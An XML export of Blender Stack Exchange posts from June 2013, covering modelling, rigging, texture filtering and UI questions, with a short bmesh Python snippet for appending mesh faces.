  <row Id="816" PostTypeId="2" ParentId="809" CreationDate="2013-06-10T12:04:11.123" Score="11" Body="&lt;p&gt;In order to calculate a normal, you can decide to take three samples in texture space. Typically that's the current sample location, and two other positions in texture U and V directions. This &quot;nabla&quot; value defines how far away these positions are. You will see how it works best on a high frequency procedural texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically tiny nabla values give minimal normal changes. Optimal is half the texture frequency (which you have to figure out by guessing unfortunately :).&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-06-10T12:04:11.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="817" PostTypeId="2" ParentId="811" CreationDate="2013-06-10T12:24:30.343" Score="4" Body="&lt;p&gt;I get the impression that you are capable enough to reason about which approach benefits you in the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the sub-surf modifier has the drawback that it creates extra geometry for every face in the mesh, it also requires that you make extra control geometry or set the crease value of edges that need to be sharp. So there is some hidden work in this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the mesh bevel tool (not the modifier) is a bit more hands-on but you end up with geometry where you want it. Unfortunately it's destructive so changes in the long run can mean redoing some work.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I know I could use the subsurface modifier for rounded edges as well,&#xA;  but read that bevel is more efficient and gives more control. I guess&#xA;  the efficiency will be lost if I use too many segments. But I don't&#xA;  know at which point this becomes true; is it something I need to worry&#xA;  about, or is bevelling so much more efficient that it is not realistic&#xA;  that it ever becomes more costly than sub-surfacing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Plan, do some tests. Ultimately if you are happy with the results, it doesn't really matter what method you use, as long as you don't have piles of excess geometry that don't contribute in a meaningful way to the geometry or the end render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have close-ups and side-views where the edges will be noticeably faceted, you will need extra geometry along those curves to make it believably round. Setting the surface shade method to &lt;code&gt;smooth&lt;/code&gt; won't always mask these things at certain angles. The amount of bevel segments will therefore depend on things like that. &lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-10T12:51:55.953" LastActivityDate="2013-06-10T12:51:55.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="818" PostTypeId="2" ParentId="811" CreationDate="2013-06-10T12:35:24.823" Score="3" Body="&lt;p&gt;Aside from beveling.You can also fake the look of a smooth surface using the smooth tool. If you have some good beveling, with few segments, then you can add some smooth shading and get a better smoother look.&lt;/p&gt;&#xA;" OwnerUserId="468" LastActivityDate="2013-06-10T12:35:24.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="820" PostTypeId="2" ParentId="802" CreationDate="2013-06-10T13:18:44.170" Score="7" Body="&lt;p&gt;You could use a &lt;em&gt;rig&lt;/em&gt;. Short tutorial:&lt;/p&gt;&#xA;&lt;h3&gt;1. Add two 'center bones', one at each center of the 'wheels'&lt;/h3&gt;&#xA;&lt;p&gt;Set the 3d cursor to the center of the first 'wheel' (You could use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;s&lt;/kbd&gt; -&amp;gt; 'Cursor to selected', with the first wheel selected). Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; -&amp;gt; 'Armature' -&amp;gt; 'Single Bone'.&lt;/p&gt;&#xA;&lt;p&gt;Set the 3d cursor to the center of the second 'wheel'. Press &lt;kbd&gt;Tab&lt;/kbd&gt; to go to edit mode and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; to create the second bone.&lt;/p&gt;&#xA;&lt;p&gt;Animate these bones to rotate the way you want.&lt;/p&gt;&#xA;&lt;h3&gt;2. Add a bone at the center of the object for each object&lt;/h3&gt;&#xA;&lt;p&gt;Go back to object mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), set the 3d cursor to the first object (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;s&lt;/kbd&gt;), go back to edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), and add a bone (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt;).&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to go to pose mode. First select the object, then select the 'object bone'. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;p&lt;/kbd&gt; --&amp;gt; 'Bone', to parent the object to the bone. Repeat this for all the objects.&lt;/p&gt;&#xA;&lt;h3&gt;3. Add 'Child of' constraints for the 'object bones'&lt;/h3&gt;&#xA;&lt;p&gt;Go to pose mode. Select the first 'object bone' Go to the 'Bone constraints' tab in the properties window. Add two 'Child of' constraints. Set the target of the first constraint to the first 'center bone' and the target of the second constraint to the second 'center bone'. Click the 'Set Inverse' buttons for both constraints.&lt;/p&gt;&#xA;&lt;h3&gt;4. Add keyframes&lt;/h3&gt;&#xA;&lt;p&gt;Go to the frame where the 'switch' should happen. Set the influence slider of the first constraint to 1 and press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; while hovering above the slider to add a keyframe. Set the influence slider of the second constraint to zero and press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; again to add a keyframe for the second constraint.&lt;/p&gt;&#xA;&lt;p&gt;Go to the next frame. Set the slider for the first constraint to zero and create a keyframe. Set the slider for the second constraint to 1 and add a keyframe.&lt;/p&gt;&#xA;&lt;h3&gt;5. Compensate 'startpoint'&lt;/h3&gt;&#xA;&lt;p&gt;The second constraint needs to start with the object at the location where the first constraint ended. However when you set the influence of the first constraint back to zero (which is necessary) the object moves back to its original position and the second constraint will start from there.&lt;/p&gt;&#xA;&lt;p&gt;To fix this go to the frame where the switch should happen (where the influence of the first constraint is 1). Select the 'object bone'. Press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; and set a 'LocRot' keyframe. Set the 3D cursor to the 'object bone' (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;s&lt;/kbd&gt; -&amp;gt; 'Cursor to selected'). Find out what the total rotation of the 'object bone' is (Rotation of the first 'center bone' plus the rotation of the 'object bone' itself).&lt;/p&gt;&#xA;&lt;p&gt;Go to the next frame, the object probably has jumped back. Set the object to the 3D cursor (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;s&lt;/kbd&gt; -&amp;gt; 'Selection to Cursor') and set the rotation of the 'object bone' to the rotation you calculated above. Press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; and set a 'LocRot' keyframe. Click the 'Set Inverse' button &lt;strong&gt;only&lt;/strong&gt; for the &lt;strong&gt;second&lt;/strong&gt; constraint.&lt;/p&gt;&#xA;&lt;h3&gt;6. Repeat step 3,4 and 5 for each object&lt;/h3&gt;&#xA;" OwnerUserId="482" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-19T03:58:29.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="821" PostTypeId="2" ParentId="802" CreationDate="2013-06-10T13:20:56.540" Score="7" Body="&lt;p&gt;This is a question for our rigger gurus, but a fast answer I came up with, which is very &quot;manual&quot; unfortunately, is this: You have two rotation empties, each parented to a central empty, which manages the rotation around an axis like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/09JlM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your object (Cube) has two Copy Transforms constraints, one for each of the rotation empties.&#xA;At the switchover point, you can animate the Influence values of the Copy Transforms constraints to prefer one of the two rotation empties, thus switching the parenting indirectly.&lt;/p&gt;&#xA;" OwnerUserId="465" LastEditorUserId="465" LastEditDate="2013-06-10T20:41:47.783" LastActivityDate="2013-06-10T20:41:47.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="822" PostTypeId="1" CreationDate="2013-06-10T13:29:54.123" Score="26" ViewCount="69373" Body="&lt;p&gt;I cannot find any menu or keys that return blender to the view that you see when you start blender.&#xA;Using save close and then open again but it must be easier than that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you change the view from side or front, or back to the view that is enabled by default at start?&lt;/p&gt;&#xA;" OwnerUserId="486" LastEditorUserId="-1" LastEditDate="2016-10-27T11:06:46.250" LastActivityDate="2018-11-05T21:37:16.420" Title="How do you return to the default view (the one you see when blender starts)?" Tags="&lt;3d-view&gt;" AnswerCount="5" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="823" PostTypeId="2" ParentId="822" CreationDate="2013-06-10T13:33:16.533" Score="4" Body="&lt;p&gt;&lt;em&gt;I am not sure exactly what you want so I will list the three most likely options..&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a new file at anytime by using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt; or by going to &lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;New&lt;/em&gt; in the &lt;em&gt;Info&lt;/em&gt; header &lt;em&gt;(at the of the screen)&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can reset Blender to it's default startup view by going the the &lt;em&gt;File&lt;/em&gt; menu and choosing &lt;em&gt;Load Factory Settings&lt;/em&gt;.&lt;br&gt;&#xA;Also, If you make any changes and want to keep them, you can use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt; to save these new settings for the times you start Blender after that. You can reset to the original default at anytime after that regardless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And at anytime, you don't need to close your current file and reopen to bring up the startup dialog to see your recent files or to reopen files. Just use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; to see a popup of recently opened/edited files or by going to the &lt;em&gt;File&lt;/em&gt; menu and going to &lt;em&gt;Open Recent&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-10T14:06:29.990" LastActivityDate="2013-06-10T14:06:29.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="824" PostTypeId="2" ParentId="822" CreationDate="2013-06-10T13:37:48.623" Score="3" Body="&lt;p&gt;If you want to have the start file, follow iKlsR's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to show the startup dialog, click on the blender icon in the top bar:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J8t0K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="455" LastActivityDate="2013-06-10T13:37:48.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="826" PostTypeId="2" ParentId="802" CreationDate="2013-06-10T14:04:58.373" Score="24" Body="&lt;p&gt;Add multiple &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/constraints/relationship/child_of.html?#child-of-constraint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Child Of constraints&lt;/a&gt; and animate their influences as desired. But for the example usage above that's not required, merely disable the unwanted Location and Rotation transforms as shown:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4gmex.gif&quot; alt=&quot;Child Of constraint example&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-12-09T01:35:21.637" LastActivityDate="2020-12-09T01:35:21.637" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="827" PostTypeId="2" ParentId="801" CreationDate="2013-06-10T14:06:29.010" Score="5" Body="&lt;h3&gt;MIDI to IPO/Drivers&lt;/h3&gt;&#xA;&lt;p&gt;possibly: &lt;a href=&quot;https://github.com/kwnetzwelt/midi_to_ipo&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/kwnetzwelt/midi_to_ipo&lt;/a&gt; (for blender 2.5 onwards)&lt;/p&gt;&#xA;&lt;p&gt;It imports MIDI (per track) and converts it to IPO/drivers and comes with a well written &lt;em&gt;getting started.rtf&lt;/em&gt; document.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-11T13:40:45.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="828" PostTypeId="5" CreationDate="2013-06-10T14:14:50.993" Score="0" Body="&lt;p&gt;Motion Tracking is used to track the motion of objects and/or a camera and, through the constraints, to apply this tracking data to 3D objects (or just one), which have either been created in Blender or imported into the application.&lt;/p&gt;&#xA;&lt;p&gt;Motion tracking at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/movie_clip/tracking/index.html?#motion-tracking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-21T03:56:23.167" LastActivityDate="2020-10-21T03:56:23.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="829" PostTypeId="4" CreationDate="2013-06-10T14:14:50.993" Score="0" Body="Questions about Blender's 3D motion or object tracking system. Object tracking is accessed via the Movie Clip Editor." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-11T07:40:07.187" LastActivityDate="2013-06-11T07:40:07.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="830" PostTypeId="2" ParentId="390" CreationDate="2013-06-10T14:25:18.390" Score="6" Body="&lt;p&gt;&lt;em&gt;Generally&lt;/em&gt; it is much better quality-wise to do custom images based on the desired properties of the surface, using software made specifically for this. For a quick and dirty bump map, blender supports using a colour image as a bump map directly, without conversion to a black and white format. If you want a way to generate a bump/normal map inside blender, you can use baking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps are roughly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a plane mesh, go to edit mode and unwrap it&lt;/li&gt;&#xA;&lt;li&gt;While still in edit mode and with everything selected go to image editor and add an empty image from the menu Image-&gt;New. Enter the dimensions of the colour image you want to convert to normal/bump map. Name your image appropriately.&lt;/li&gt;&#xA;&lt;li&gt;Add a texture to the material of the plane mesh, go to the Texture Properties tab, Change the tyoe to image, select the image texture that will be converted to bump/normal map, use UV coordinates and turn colour influence to 0 and normal influence to 1.&lt;/li&gt;&#xA;&lt;li&gt;Go to the Render Properties tab, Bake panel. Now you can choose the format to bake to, either bump or normal (tangent space is usually the preferred space here) and press the big Bake button.&lt;/li&gt;&#xA;&lt;li&gt;Watch your empty image that was added in step 2 get baked over by the renderer.&lt;/li&gt;&#xA;&lt;li&gt;Go to image editor again and save the image to a file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="465" LastActivityDate="2013-06-10T14:25:18.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="831" PostTypeId="2" ParentId="811" CreationDate="2013-06-10T14:25:44.010" Score="4" Body="&lt;p&gt;You can also use the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/tools/spin.html#spin&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Spin&lt;/em&gt;&lt;/a&gt; tool to create rounded edges with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Use the Spin tool to create the sort of objects that you would produce&#xA;on a lathe (this tool is often called a “lathe”-tool or a “sweep”-tool&#xA;in the literature, for this reason). In fact, it does a sort of&#xA;circular extrusion of your selected elements, centered on the 3D&#xA;cursor, and around the axis perpendicular to the working view…&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The point of view will determine around which axis the extrusion spins…&lt;/li&gt;&#xA;&lt;li&gt;The position of the 3D cursor will be the center of the rotation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The spin tool will spin the selected vertices around the cursor (on the view axis). If you set your cursor to the center of the spin and spin 90 degrees, you'll get a rounded corner.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="15924" LastEditDate="2020-10-20T12:39:59.437" LastActivityDate="2020-10-20T12:39:59.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="832" PostTypeId="1" CreationDate="2013-06-10T14:30:13.307" Score="3" ViewCount="1263" Body="&lt;p&gt;I'm trying to use the &lt;em&gt;Setup Tracking Scene&lt;/em&gt; button(in the Movie Clip Editor) with Cycles. While it works fine in Blender Internal, when I switch it to Cycles, I don't get shading or shadows. Is the setup for compositing in Cycles different from Blender Internal?&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="12" LastEditDate="2013-07-05T17:37:14.747" LastActivityDate="2013-07-05T17:37:14.747" Title="How do I use the &quot;Setup Tracking Scene&quot; feature with Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="833" PostTypeId="2" ParentId="291" CreationDate="2013-06-10T14:51:52.670" Score="15" Body="&lt;p&gt;Blender is really made by and for users. Removing any feature from the program won't be done without a good long public debate (and good reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our blender.org project works with the &quot;Module Owner&quot; principle, developers who are responsible for maintaining and work on areas in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know who can give a reliable answer for the future or plans on specific development topics, check on the Module Owner list here:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Template:ModulesOwners&quot;&gt;http://wiki.blender.org/index.php/Template:ModulesOwners&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or check with one of the Blender project admins, such as Campbell Barton, Brecht van Lommel or me :)&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-06-10T14:51:52.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="834" PostTypeId="5" CreationDate="2013-06-10T14:54:48.650" Score="0" Body="&lt;p&gt;Video output at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/render/output/file_formats.html#video-output&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-21T03:56:38.030" LastActivityDate="2020-10-21T03:56:38.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="835" PostTypeId="4" CreationDate="2013-06-10T14:54:48.650" Score="0" Body="Questions related to video files in Blender. Anything from loading a video into the 3D view(as a background image) to exporting an animation is acceptable." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-11T07:39:07.370" LastActivityDate="2013-06-11T07:39:07.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="836" PostTypeId="5" CreationDate="2013-06-10T14:55:43.013" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-10T14:55:43.013" LastActivityDate="2013-06-10T14:55:43.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="837" PostTypeId="4" CreationDate="2013-06-10T14:55:43.013" Score="0" Body="Questions about encodings for importing files or about how to export with the correct encodings." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-11T07:39:02.790" LastActivityDate="2013-06-11T07:39:02.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="838" PostTypeId="5" CreationDate="2013-06-10T14:56:48.863" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-10T14:56:48.863" LastActivityDate="2013-06-10T14:56:48.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="839" PostTypeId="4" CreationDate="2013-06-10T14:56:48.863" Score="0" Body="Questions about the correct use of terminology for Blender and 3D." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-11T07:39:13.353" LastActivityDate="2013-06-11T07:39:13.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="840" PostTypeId="2" ParentId="247" CreationDate="2013-06-10T14:56:57.457" Score="6" Body="&lt;p&gt;One method that is often overlooked is the Edge Split modifier with objects set to Smooth. When you turn on smooth shading Blender tries to smooth out all of the faces. The Edge Split modifier will smooth only that are less than a specific angle which is 30 degrees by default. You can also mark selected edges as &quot;Sharp&quot; and they will show as if they are Flat shaded.&lt;/p&gt;&#xA;" OwnerUserId="493" LastActivityDate="2013-06-10T14:56:57.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="842" PostTypeId="2" ParentId="539" CreationDate="2013-06-10T15:17:39.623" Score="1" Body="&lt;p&gt;I made an addon to solve this specific problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Align_by_faces&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Align_by_faces&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?290247-Align-objects-by-faces&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderartists.org/forum/showthread.php?290247-Align-objects-by-faces&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="498" LastActivityDate="2013-06-10T15:17:39.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="844" PostTypeId="2" ParentId="832" CreationDate="2013-06-10T16:32:55.857" Score="1" Body="&lt;p&gt;Yes it is different. I believe that for cycles you don't have directly a &quot;shadow only&quot; material. You have to do some tricks in material settings(with the node editor).&lt;/p&gt;&#xA;" OwnerUserId="507" LastEditorUserId="20" LastEditDate="2013-06-10T16:58:31.793" LastActivityDate="2013-06-10T16:58:31.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="845" PostTypeId="1" AcceptedAnswerId="848" CreationDate="2013-06-10T16:50:08.210" Score="19" ViewCount="36355" Body="&lt;p&gt;I have a model that is simple and uses low-resolution textures. I'd like to be able to disable the texture filtering so that the textures look sharp and pixels stand out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ideal answer would explain how to do this in not only the regular 3d view, but also in renders and preferably also in texture previews.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2018-01-21T14:35:10.627" Title="How do I disable texture filtering?" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="846" PostTypeId="2" ParentId="845" CreationDate="2013-06-10T16:52:38.750" Score="3" Body="&lt;p&gt;I'm not sure if it is possible to do in the 3D view, but I certainly know how to do it in the (Blender Internal) texture settings(I did this in my &lt;a href=&quot;http://www.youtube.com/watch?v=j45i234qgmo&amp;amp;feature=player_detailpage&amp;amp;list=PLz-rYTT-2nIvviJQDOLvFzic9r2WeY9K2#t=382s&quot; rel=&quot;nofollow&quot;&gt;Blender Minecraft Tutorial&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the filter type to Box&lt;/li&gt;&#xA;&lt;li&gt;Turn off interpolation&lt;/li&gt;&#xA;&lt;li&gt;Turn off mip-map&lt;/li&gt;&#xA;&lt;li&gt;Set the filter size to 0.1(the lowest possible value)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-13T12:34:48.280" LastActivityDate="2013-06-13T12:34:48.280" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="847" PostTypeId="2" ParentId="711" CreationDate="2013-06-10T17:08:14.900" Score="4" Body="&lt;p&gt;Here is the code I wrote to add a face to a mesh. The function takes an object and a bmesh derived from the object's mesh data (&lt;code&gt;obj.data&lt;/code&gt;), a list of vertices, uvs and the name of a texture/material. Using this data, the function adds a new face to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section where I am adding uvs is only slightly different to that in the example provided (see below). It is all written for Blender 2.67b. No idea if it works on older versions, but it's probably ok.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;def mesh_append_face( obj, bm, vertex_list, uv_list, texture_name ):&#xA;    # add vertices and uvs before creating the new face&#xA;    for vert in vertex_list:&#xA;        bm.verts.new( ( vert[0], vert[1], vert[2] ) )&#xA;    bm.faces.new( ( bm.verts[i] for i in range( -len( vertex_list ), 0)) )&#xA;&#xA;    # add uvs to the new face&#xA;    uv_layer = bm.loops.layers.uv.verify()&#xA;    bm.faces.layers.tex.verify()&#xA;&#xA;    face = bm.faces[-1]&#xA;    for i, loop in enumerate(face.loops):&#xA;        uv = loop[uv_layer].uv&#xA;        uv[0] = uv_list[i][0]&#xA;        uv[1] = uv_list[i][1]&#xA;&#xA;    # assign material&#xA;    try:&#xA;        material_names = [ m.name for m in obj.data.materials ]&#xA;        material_id = material_names.index(texture_name)&#xA;    except ValueError:&#xA;        obj.data.materials.append(bpy.data.materials[texture_name])&#xA;        material_id = len(obj.data.materials) - 1&#xA;&#xA;    face.material_index = material_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is based on this example code from &lt;code&gt;Text Editor&lt;/code&gt; -&gt; &lt;code&gt;Templates&lt;/code&gt; -&gt; &lt;code&gt;Python&lt;/code&gt; -&gt; &lt;code&gt;Operator UV&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;def main(context):&#xA;    obj = context.active_object&#xA;    me = obj.data&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;&#xA;    uv_layer = bm.loops.layers.uv.verify()&#xA;    bm.faces.layers.tex.verify()  # currently blender needs both layers.&#xA;&#xA;    # adjust UVs&#xA;    for f in bm.faces:&#xA;        for l in f.loops:&#xA;            luv = l[uv_layer]&#xA;            if luv.select:&#xA;                # apply the location of the vertex as a UV&#xA;                luv.uv = l.vert.co.xy&#xA;&#xA;    bmesh.update_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2013-06-10T17:22:01.430" LastActivityDate="2013-06-10T17:22:01.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="848" PostTypeId="2" ParentId="845" CreationDate="2013-06-10T17:10:45.733" Score="19" Body="&lt;p&gt;For the 3D view go to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User preferences &gt; System.&lt;/li&gt;&#xA;&lt;li&gt;Then under the OpenGL sub header, you will find &quot;MipMaps&quot; make sure that box is unchecked.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For Blender-Internal go to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Texture Buttons.&lt;/li&gt;&#xA;&lt;li&gt;Image Sampling Panel.&lt;/li&gt;&#xA;&lt;li&gt;Toggle &lt;code&gt;MIP Map&lt;/code&gt; button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As of &lt;a href=&quot;https://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Cycles#Nodes&quot; rel=&quot;noreferrer&quot;&gt;blender 2.71&lt;/a&gt; texture nodes now have an option to change the interpolation method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dv8aW.png&quot; alt=&quot;Using Closest will keep the pixels sharp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Closest will keep the pixels sharp.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Old Answer&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;For cycles, this is a needed feature. Here's a workaround (32 is the size of the texture) : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kdaKM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kdaKM.png&quot; alt=&quot;screenshot2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="511" LastEditorUserId="29351" LastEditDate="2017-07-21T11:27:50.087" LastActivityDate="2017-07-21T11:27:50.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
